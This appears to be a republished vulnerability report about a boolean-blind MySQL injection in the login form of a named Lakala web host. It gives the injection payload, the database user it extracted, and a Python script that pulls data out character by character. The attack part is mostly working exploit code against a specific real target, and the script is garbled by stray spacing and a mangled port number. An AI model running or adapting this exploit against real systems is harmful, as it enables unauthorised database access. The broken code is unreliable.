MySQL injection exists at a site in La Kala (with verification script)

Source: Internet
Author: User
Tags mysql injection

MySQL injection exists at a site in La Kala (with verification script)

MySQL injection (with verification script) and bool blind exist in a website in La Kala.

Injection point:
 

POST http://jzlq.lakala.com:7070/pos/index.php?action=logincaptcha_keystring=1&password_login=&password_login_show=&username=aa"XOR(if(length(user())=15,1,0))OR"bb



The username parameter can be injected. Bool blind. True when "Enter new password" is displayed.

Verify the user () to obtain the following information:
 

auto1@localhost


 



Python script:
 

# Encoding = utf-8import httplibimport timeimport stringimport sysimport randomimport urllibheaders = {'content-type': 'application/x-www-form-urlencoded'} payloads = list ('signature @_. ') print 'start to retrive MySQL User: \ n' user = ''for I in range (1, 16): for payload in payloads: print '. ', conn = httplib. HTTPConnection ('jzlq .lakala.com: 808080', timeo Ut = 3) s = 'aa "XOR (if (ascii (mid (user () from (% s) for (1) = % s, 1, 0 )) OR "bb '% (I, ord (payload) conn. request (method = 'post', url = '/pos/index. php? Action = login ', body = 'aptcha _ keystring = & password_login = & password_login_show = & username =' + urllib. quote (s), headers = headers) html_doc = conn. getresponse (). read (). decode ('utf-8') conn. close () if html_doc.find (U' enter new password ')> 0: user + = payload sys. stdout. write ('\ r [In Progress]' + user) sys. stdout. flush () breakprint '\ n [Done] MySQL user is % s' % user

 

Solution:

Filter user names

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.